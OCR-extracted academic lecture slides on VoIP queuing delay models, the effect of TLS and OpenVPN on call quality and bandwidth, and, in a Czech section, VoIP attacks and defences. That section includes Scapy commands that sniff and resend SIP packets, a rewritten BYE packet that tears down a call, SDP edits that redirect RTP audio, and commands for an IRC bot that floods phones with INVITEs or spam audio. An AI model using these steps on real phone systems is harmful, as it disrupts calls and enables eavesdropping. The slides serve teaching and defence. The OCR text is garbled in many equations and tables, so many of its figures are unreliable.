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Analytic Model of Delay Variation Valid for RTP
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servicing requirement technique in the priority queue > corresponds to the
model of queuing system M/D/1/k

[* Kendall’'s notation of queuing models

for k > 2
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{4 is service rate [s‘l]
pre=(1—p)e’—1) fork=1
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* this designed analytical model can ignore the buffer size hence M/D/1/k model
can be replaced by M/D/1/e model,

* the voice traffic is modeled by source signal, which probabilistic random variable
distribution matches Poisson’s probability distribution and therefore their sum
also corresponds to Poisson distribution,

« constant A(t) and p(t) = > one type of the codec is used, there are M-sources
and we assume that the number of waiting positions in a priority gueue is infinite
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The measurements showed that in most cases the designed mathematical model
returns data with £6 % accuracy up to the 80 % line load.



End-to-End Delay in developed M/D/2 Model

M/D/2 model extended conditions:

e priority service process without interruption,

 packets in the higher priority queue are serviced before packets in the lower
priority queue,

 on arrival of the packet with any priority is the actual service completed first,

Utilization: pP=p,+p, p= M
u
Mean service time of the process in higher and lower priority queue:
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we apply the relations and obtain the following equations
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Dependence of the mean service time in the higher and lower priority queue on the
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Where:
N — Counts of voice blocks in the packet [-]
Tep — total delay of the codec [s]

L, —Line length of the line i [m]

v — speed the spread of the signal in the environment [m/s]
Ty, — De-jitter delay [s]

T, —Processing time in the service element i

;. — Header length of the packet of the line 1 [b]

L. —Line speed of the line i [b/s]

M, — Count of streams in the queue i of service element 1 [-]

M ., — Count of streams in the queue i of service element 2 [-]
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tc filter add dev ethl parent 1.0 prio 1 protocol ip u32 match ip tos 0x28 Oxff flowid 1:1
tc filter add dev ethl parent 1.0 prio 2 protocol ip u32 match ip tos 0x48 Oxff flowid 1:2
tc filter add dev ethl parent 1.0 prio 3 protocol ip u32 match ip tos 0x00 Oxff flowid 1:3

tc gdisc add dev eth2 root handle 1:0 prio

tc filter add dev eth2 parent 1.0 prio 1 protocol ip u32 match ip tos 0x28 Oxff flowid 1:1
tc filter add dev eth2 parent 1.0 prio 2 protocol ip u32 match ip tos 0x48 Oxff flowid 1:2
tc filter add dev eth2 parent 1.0 prio 3 protocol ip u32 match ip tos 0x00 Oxff flowid 1:3

tc gdisc add dev eth3 root handle 1:0 prio

tc filter add dev eth3 parent 1.0 prio 1 protocol ip u32 match ip tos 0x28 Oxff flowid 1:1
tc filter add dev eth3 parent 1.0 prio 2 protocol ip u32 match ip tos 0x48 Oxff flowid 1:2
tc filter add dev eth3 parent 1.0 prio 3 protocol ip u32 match ip tos 0x00 Oxff flowid 1:3

TOS 0x28 > RTP streams between PC2 and PC3
TOS 0x48 > RTP streams between PC4 and PC3

G.711a and 20ms timing (delay between datagrams)

identical traffic between PC2-3 and PC4-3
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Dependence of the average End-to-End delay of Dependence of the average End-to-End delay of
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Conclusion

» With the increasing amount of the load the mathematical model will not return
absolutely exact information

* In our case the model returns data with + 3% accuracy up to the 75 % line load

* Voznak,M.,Hromek,F.Optimalization of VoIP service queues.In proceedings RTT2008, 9th Conference, 10-12.9.2008. Publisher:
Slovak University of Technology of Bratislava, ISBN 978-80-227-2939-0.

 Voznak,M.,Hromek,F.Possibilities of VolP optimalization by the use of two service queues.In proceedings of VIlith conference KTTO
2008, p.52-57, FEI VSB-TU Ostrava, ISBN 978-80-248-1719-4, 24-25.4.2008



Impact of Security on Speech Quality
scope

to deal with techniques of measuring and assessment of the voice quality in IP
networks in secure and insecure environment.

Key words: cipher, SIPS, SRTP, TLS

* RFC 3261 (2002), SIPS (using TLS)

« RFC 3711 (2004), SRTP (AES)

* ZRTP — no standard yet (only RFC draft)
* TLS — mostly used

* |Psec

published in this year

 Voziiak,M: IMPACT OF OPENVPN ON SPEECH BANDWITH.In proceedings TSP2008, 3-4.9 in Paradfurdo,
Hungary. Publisher: Asszisztencia Szervezd Kft. Budapest, ISBN 978-963-06-5487-6.

* Voznak,M.-Rozza,A.-Nappa,A.Performance comparision of secure and insecure VolP
environments. TERENA Networking Conference 2008 in Brugge, Belgium, 19-22 May, 2008.

* Voznak, M.Impact of security on speech quality.Lecture at University of Milan.UNIMI, Italy, 8.7.2008

» Voznak,M.-Rozza,A.-Nappa,A.Performance comparision of secure and insecure VoIP environments.In
proceedings of VllIith conference KTTO 2008, 6p., FEI VSB-TU Ostrava, ISBN 978-80-248-1719-4.



Voice quality assessment

http://www.cesnet.cz/doc/techzpravy/2006/voice-quality/

Miroslav Voznak, Michal Neuman.CESNET
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The result of the E-model calculation is R-factor, which combines all transmitting
parameters important for specific connection.

R=Rp-lIs-Ip-legrr + A

A - expectation Factor
|, - Impairments caused by delay (talker echo, delay and sidetone)
lc.epe - IMpairments caused equipment (low bit rate codecs and packet loss)
|5 - all impairments which occur simultaneously with the speech

R, — SNR
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Voice quality assessment

Voice quality is affected by:

* delay (algorithmic, packetization, serialization, propagation)

o jitter (play-out buffer)

 packet loss
» echo

|, - Impairments caused by delay
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Used techniques of measurement

traffic emulated and evaluated by an IxChariot

IXChariot endpoint serve as a RTP streams generator

results are sent to the console and analyzed

We also use Sipp tool for emulation of real traffic and iperf as a generator of traffic

load and Ixload

< AN

192.168.11
(192.168.1.0/24)

192.168.1.10

IxChariot _
Performance - IxChariot
192168111 -

Endpoint 1 ]

omm =

192.168.2.5 192.168.2.6

192.168.3.1
(192.168.3.0/24)

192.168.3.11

IxChariot
Performance
Endpoint 2
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Achieved results — the first step

Comparative measurements between Ostrava-Milan with and without TLS.

More than one hundred measurements were performed, every measurement was
repeated five times due to a suppression of the fault in measurement.

5 95 4 codec G.71MAlaw = 82 - codec 3.729 wifo WP wio
E _ —— < traffic
EQD_ == ITITIT "E ED_-m,__.%::.:_‘ _________ - — - — wifn VPN w traffic
B5 1 y 78 - Tl
—_—— T e WP wif traff
a0 \ 75 4 - W wifo traffic
75 \ 74 1 — —w VPN w traffic
\ 72 1
?D T A 1 ?D : X
1 25 &0 1 25 50
the number of simultaneously used pairs the number of simultaneously used pairs
R-factor for codec G.711. R-factor for codec G.729.
the absolute aberrance of measurement [%]
G.711Alaw G.729
w/o VPN, w/o traffic 0,09 0,05
w/o VPN, w traffic 1,34 1,47
w VPN, w/o traffic 0,19 0,88
w WPN, w traffic 3,2 19
total 1,14%

Conclusion : used security mechanism TLS affects R-factor



Achieved results — the second step
Real tests with OpenVPN, OpenSER, SIPp and IxChario t
Both universities are connected to the national research and education networks
which are linked by multi-gigabit pan-European communication network Geant2. It
IS a significant advantage to be part of high speed network because the end-to-end
delay between our endpoints has been approximately 30 ms.

loss — the main problem !

How to calculate overall quality in such type of network ?

lege =1 +(95- 1) P Packet-loss Robustness Factor is
P g defined in ITU-T G.113
BurstR "

Once the le-ef factor is calculated it is not difficult to determine R-factor using
implicit values of recommendation ITU-T G.107 which are

R0=94,7688 , Is =1,4136 and A=0

hence we can modify the overall formula of E-model
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Achieved results — the second step
|d calculation in our atitude is based on important presumption published in

Clark,A. Modelling the Effects of Burst Packet Loss and Regency on
Subjective Voice Quality, 2001,

where it is explained that the effects of delay are well known and easily
modelled, delays of less than 175ms have a small effect on conversational
difficulty, then Id=4T, where T is the delay in ms (In our case 30msec). The
final achieved values of R-factor are in table

ol i | vith with The results are valid for G.729 a
ratfic | VPN | S| s G.711 codecs and the loss in an
e amount 5% (G.729) and 15% (G.711)
(G729+PLC) 10.4 10,5 10,7 27,7
(G?Ili_:gm) 0 22 30.7 35.5 If traffic achieves more than 80 %, the
R-factor R-factor significantly changes its
e value, but in case of OpenVPN it is
(G%ﬁig(:) 93 90,8 62,3 57,5 earlier .

15



le[] ——G7114PLC ——G729 ——G711

60 ,
g

>0 | // —~  The executed measurements prove the obvious
40 / - impact of OpenVPN on the voice quality. The
30 e Ly impairment of speech quality appears in

// /// /// specified ranges of traffic comprised between
20 #

‘//// 7 80-90%.

1OZ — =
/—
0.

Conclusion

While using the G.711 codec in the insecure environment there was observed the
shift of R-factor from range “Best” quality to “Low” quality and in the secure
environment to “Poor” quality.

There was not registered the change of quality for G.729 calls in the insecure
environment but was observed the shift of R-factor from range “High” quality to
“Low” quality using the VPN environment.

16
- threshold values depend on the size of the block cipher



Achieved results — the third step

Analyzing of encryption in OpenVPN and relation with bandwith requirements
of VoIP traffic.

Basic steps of speech processing on the Tx side are:
» Encoding (Voice Coder — CODEC)
» Packetizing

CBC (Cipher block chaining) is mostly applied mode
*The every RTP packet is divided into N blocks with the same Bs (block size)
» Bs is multiplied by N and result must be higher or equal to size of RTP packet

[V =)
'_'

]

iy

T
F

Pl

3

52 —[5 (D)

=+
i

1% 2™ N-1 N
[ block | block | — [ block | block |
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Testbed

Wireshark IxChariot
Console

IxiaEndpoint

IxiaEndpoint
X TLS
\5 ____________________
NS
OpenVPN OpenVPN
client server

AES (Advanced Encryption Standard) contains 128 bits although the key
size can be 192 or 256 bits but the block has the same size of 128 bhits.

DES (Data Encryption Standard), Triple DES or BF (Blow Fish)] contain
the block size 64 bits

A complete list of supported cipher algorithms: openvpn --show-ciphers

18



Mathematical expressions

Size at application Layer

timing of RTP packets SaL = Hrrp + Ps

Ps SaL ... Size at application layer
At = —

Cr

Hgtp ...RTP header, 12 B

At ... timing 2
Ps... payload size Sp = SaL+ Z H

=1
Cr... codecrate

Sg... Size offrame

timestamp (y41) — timestamp

At = : H;  mediaaccess layer Header,
sampling_frequency

H,  Internetlayer header

H;  transportlayer header

19



Required Bandwith for M concurrent calls

3
SFi Hgrp +Ej=1Hj
=M-Cg-|1+
Pg
Co= 83 hytes for block size of 128 bits

Co = 75 bytes for block size of 64 bits.

TLS — layer

TLS is located between application and transport layer. We use by Stpginstead of S5;

SaL

_.B
le 5

Sts = Cp + [

Where [x]=min {n € Z |x < n}

| x | is Ceiling function of x

| x | gives the smallest integer greater than or equal to x.

20



Achieved results
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Achieved results

BWWfkbps] Bandwith vs timing, G.729
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Achieved results
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Achieved results
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Achieved results
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codec AES
cipher

G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711
G.711

Achieved results

wfoTLs  wioTLSBW wTLS BWin  TLS with w OpenVPN w OpenVPN
timing payload encapsulated frame in Ethernet encapsulatedin  wTLS frame Ethernet OpenVPN frame 802.3 BW in Ethernet
802.3[B] [kbps] 128b blocks [B]  802.3 [B] [kbps] overhead [B] [B] [kbps]
1 8 20 74 592,00 32 95 784,00 115 131 1448,00
1,25 10 22 76 486,40 32 93 627,20 115 1381 1158,40
1,5 12 24 78 416,00 32 98 522,67 115 181 965,33
1,75 14 20 80 365,71 a2 93 448,00 115 1381 827,43
2 16 28 82 328,00 32 93 392,00 115 181 724,00
2,5 20 32 86 275,20 32 95 313,60 115 131 579,20
3 24 36 90 240,00 43 114 304,00 1321 137 525,33
4 32 a4 98 196,00 48 114 228,00 131 197 394,00
3 40 a2 106 169,60 64 130 208,00 147 213 340,80
6 48 60 114 152,00 64 130 173,33 147 213 284,00
7 =1+ 63 122 139,43 80 146 166,86 163 229 261,71
8 64 76 130 130,00 80 146 146,00 163 229 229,00
9 72 84 138 122,67 96 162 144,00 179 245 217,78
10 80 92 145 116,80 96 162 129,60 179 245 196,00
11 88 100 154 112,00 112 178 129,45 195 261 189,82
12 96 108 162 108,00 112 178 118,67 195 261 174,00
13 104 116 170 104,62 128 194 119,38 211 277 170,46
14 112 124 178 101,71 128 194 110,86 211 277 158,29
15 120 132 136 99,20 144 210 112,00 227 293 156,27
16 128 140 154 97,00 144 210 105,00 227 293 146,50
17 136 148 202 95,06 160 226 106,35 243 303 145,41
18 144 156 210 93,33 160 226 100,44 243 309 137,33
19 150 154 212 a1 70 176 242 10180 200 el VETR
20 160 172 226 90,40 176 242 96,80 259 325 130,00
21 168 130 234 89,14 152 258 98,29 275 341 129,90
22 176 188 242 88,00 152 258 93,82 275 341 124,00
23 134 136 230 86,96 208 274 95,30 291 337 124,17
24 192 204 258 86,00 208 274 91,33 291 357 119,00
25 200 212 266 85,12 224 290 92,80 307 373 119,36
26 208 220 274 84,31 224 290 89,23 307 373 114,77
27 216 228 282 83,56 240 306 90,67 323 389 115,26
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Codec WithlAES cipher

G.729
G.729
G.729
G.729
G.729
G.729

G.723.1/6,3
G.723.1/6,3

G.723.1/5,3
G.723.1/5,3

timing
[ms]
10
20
30
40
50
60

30
60

30
60

Achieved results

w/oTLS wTLS wOpenVPN
BW in BW in BW in

Ethernet Ethernet  Ethernet
[kbps]  [kbps] [kbps]
60,80 78,40 144,80
34,40 39,20 72,40
25,60 30,40 52,53
21,20 26,00 42,60
18,56 20,80 34,08
16,80 19,47 30,53
24,00 30,40 52,53
15,20 17,33 23,40
22,93 26,13 48,27
14,13 17,33 28,40

Codec witl} DES cipher

G.729
G.729
G.729
G.729
G.729
G.729

G.723.1/6,3
G.7231/6,3

G.723.1/5,3
G.723.1/5,3

timing
[ms]
10
20
30
40
50
60

30
60

30
60

w/o TLS
BWin

Ethernet Ethernet

[kbps]
60,80
34,40
25,60
21,20
18,56
16,80

24,00
15,20

22,93
14,13

w TLS
BW in

[kbps]
72,00
39,20
30,40
24,40
20,80
18,40

28,27
17,33

26,13
16,27

w OpenVPN

BW in

Ethernet

[kbps]
138,40
72,40
52,53
41,00
34,08
29,47

50,40
28,40

48,27
27,33
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Conclusion

*Although defence techniques based on cryptography such as OpenVPN mitigate
the risk of security threats, they also affect the required bandwidth of IP telephony

*The formulas presented in this paper help us to understand how OpenVPN and
TLS can affect the bandwidth of calls and how we can optimize the timing.

*As an example, we can show optimization at G.723.1 with 6.3 kbps. If we used the
timing of 30 ms during packetization, we would require 30,4 kbps for TLS against
24 kbps in an environment without TLS. We could achieve a better result with the
timing of 60 ms because we would require 17.33 kbps for TLS against 15.2 kbps
without TLS which is a much better ratio.

*The contribution of this paper is the presented method of bandwidth calculation in a
network using TLS.
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miroslav.voznak@vsb.cz

http://homel.vsb.cz/~voz29/
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Mozné utoky na VolIP

Denial of Service (DoS)

» Funkce sluzeb je omezena a sluzba se stava nepouzitelnou.

» \VoIP komunikace v realném Case — daleko citlivéjSi nez jiné
sluzby.

» D0oS utok muze napadnout jakoukoliv s VolP komponent.

= Nékolik typu DoS:
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Mozné utoky na VolIP

Typy DoS utoku:

» Implementa éni vada DoS

INVITE Flood Attacks
RTP Floods

» Zaplavovy DoS
= Distribuovany DoS

» DoS aplika €ni urovn &

Software Layers

Voice Application

Services
Voip Protocols (Database)
(Web Server)

Network Layer
(IP,UDP,TCP)

General operation system

Sample Attack

Regisiration Hijacking
Session Teardown

SQL Slammer Worms
SQL Injection

SYN Flood Attacks
Trivial DoS Attacks

Wormsiviruses targeling
operalion system

» Zalezi na typu protokolu (signalizacni, transportni), ktery typ

DoS pouzijeme.



Mozné utoky na VolIP

Spam over Internet Telephony (SPIT)

= Spam ve VoIP sluzbach.

» SPIT zatézuje Sifku pasma a zhorsuje tak kvalitu hovoru.
» SPIT vySSi naroky na vypocetni vykon nez klasicky Spam.
» SPIT - realna hrozba.

» Nékolik typu SPIT:
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Mozné utoky na VoIP

Typy SPIT utoku

® Call centra
= Call boti
= \Vyzvan éci SPIT

= Kombinace
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Obrana proti VoIP Gtokiim

Obrana proti DoS

Media
Gateway IP PBX

" Posileni systemu

= Silna autentizace

Service
Provider

= Firewall

Attacker
Generates

Flood packet, Flood packet,
Flood packet, Flood packet,
Flood packet, Flood packet,
Flood packet, Flood packet,
Flood packet, Flood packet,
Flood packet, Flood packet,
Flood packet, Legal VolIP packet
Flood packet, Flood packet,
Flood packet, Flood packet,

IP Phone IP Phone

36



Obrana proti VoIP Gtokiim

Implementa éni vada DoS (Implementation flaw DoS)
- Monitorovani novych/znamych VolP zpusobu atokd a nasledna ochrana
pred nimi.

Zaplavovy DoS (Flood DoS)

- ZajiSténi signaliza¢niho a transportniho limitu prenosu.
- Povoleni pakett ze znamych a duvéryhodnych zdroja.
- Udrzovani znamé Sirky pasma pro znameé hovory.

- Monitorovani velikosti paketl, cilovych portd a priority.
- ZUzeni pasma, jak jen to bude nezbytné.

DoS aplika éni urovn é (Application-level DoS)
- Monitorovani externich utoku, jako jsou kradez registrace a
nepovolené ukoncéeni hovoru.
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Obrana proti VoIP Gtokiim

Obrana proti SPIT

= Buddylist/Whitelist
= Blacklist
= Statistical blacklist

= \/oice menu interaction

= NEC VoIP SEAL
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Realné priklady VoIP Gtok

Scapy

= Program pro monitorovani paketu v siti.
= Scapy umi odchytit, zménit a preposlat paket do sité.
= Implementovany ve skriptovacim jazyce Python.

= Dva atoky pomoci Scapy:
e ZruSeni sestaveného hovoru
e Pfesmérovani RTP dat

(1) >> p=sniff (filter=""udp and port 5060' ' , count=1)
(2) >> p.show()

(3) <Sniffed: UDP: 1 TCP: 0 ICMP: 0 Other: 0>

(4) >> raw=p [0].getlayer (Raw)

(5) >> packet=IP(src='"' 158.196.40.18 ',
dst="' 158.196.40.19 ' ) / UDP(sport=5060, dport=5102) / raw
(6) >> send(packet)
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Realné priklady VoIP Gtok

Zruseni sestaveného hovoru

= Nejlepsi paket pro modifikaci — ACK.
= Staci zménit metodu ACK za metodu BYE.

= Dva dulezité parametry: branch and tag.

ACK sip:filip@158.196.40.19:5070;transport=udp SIP/2.0

CSeq. 1ACK

Via: SIP/2 0/UDP 158.196.40.18:5063;
branch=z9hG4bK64475aaa-bda6-da11-8dc2-0013d4e2956d;rpor

From: ' filip 1"'"' <sip:filip@158.196.40.18>;

tag=dc7250a7-bda6-dal11-8dc2-0013d4e2956d

Call-1D: 26b50a7-bdab-da11-8dc2-0013d4e2956d@pcbuslab11

To: <sip:filrez@ekiga.org>; tag=22acb79d-bda6-da11-8d2e-0013d4e

Contact: <sip: filip@158.196.40.18:5063; transport=udp>

BYE sip:filip@158.196.40:49:5070;transport=udp SIP/2.0

CSeq: 1BYE

Via: SIP/2.0/UDP 158.196.40.18.:5063,;
branch=z9hG4bK64475aaa-bda6-da11-8dc2-0013d4e2956d;rpori

From: ' "filip 1 "' <sip:filip@158.196.40.18>;

tag=dc7250a7-bdaB-da11-8dc2-0013d4e2956d

Call-ID: f26b50a7-bda6-da11-8dc2-0013d4e2956d@pcbuslab11

To: <sip:filrez@ekiga.org>; tag=22ach79d-bda6-da11-8d2e-0013d4e

Contact: <sip: filip@158.196.40.18:5063; transport=udp>



Realné priklady VoIP Gtok

Presmeérovani RTP dat

= Pro pfesmérovani RTP musi byt zménén obsah SDP paketd.
= SDP definuje IP adresu a port, ktery je pouzit béhem hovoru.

= Zménéneé IP jsou v 0 a ¢ parametrech a port v parametru m.
v=0
o0=- 1140424487 1140424487 IN IP4 158.196.40.19
s=0pal SIP
c=IN IP4 158.195.40.19
t=00
m=audio 5012 RTP/AVP 101 114 1153107 1100 8
a=rtomap:101 telephone-event/8000
a=ftom:101 0-15
a=rtpmap:114 SPEEX/16000

v=0
=- 1140424487 1140424487 IN 1P4 10.0.0.1
s=0pal SIP
c=IN IP4 10.0.0.1
t=00
m=audio 5003 RTP/AVP 101 114 1153107 1100 8
a=rtpmap:101 telephone-event/8000
a=ftpm:101 0-15
a=rtpmap:114 SPEEX/16000



Realné priklady VoIP Gtok

VoIP — IRC bot

= Studentsky projekt.

= Bot realizuje nékolik VolP utoku prfes IRC sluzbu.
= Implementovany v Javeé.

= Budou ukazany DoS a SPIT utoky.

= Pouzijeme IRC klienta (Xchat) pro pfipojeni k IRC serveru a vytvofime
novy kanal. Stahneme a nastartujeme bota s témito parametry:

java -classpath jnf.jar -jar voipbot.jar $num of the bot
$host nanme_of the server $nane_of the room $l ocal SIP port
$l ocal _IP
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Realné priklady VoIP Gtok

VoIP — IRC bot — DoS utok

= Bot posila metody INVITE na IP telefon, nebo na SIP server.
= Pro zhozeni serveru je potfeba vice botu.
= Wireshark pro vizualizaci.

= Témito prikazy spustime atok:

dos user @ P _address(:port) durat_of the attack in _ns
dos | P_address(:port) durat of the attack in _ns
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Realné priklady VoIP Gtok

VoIP — IRC bot — SPIT utok

= Utok zasila audio na SIP telefon.
= Bot posila zvolené audio pfes RTP v rozmezi asi 20 vtefin.

= Timto pfikazem spustime utok :

spit user@P _address(:port) url _of the_ audi 0. wav
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Zaver

» Realizovat Utok na VoIP zarizeni je opravdu snadne.

* Pfi vytvareni VoIP sité je nutne implementovat
bezpeclnostni opatfeni a pocitat s Utoky.

» Efektivni metody utoku na VolP se velice rychle

rozsSiruji a modifikuji, je nutny intenzivni vyzkum a vyvoj
pro udrzeni bezpecénosti a kvality IP telefonie.
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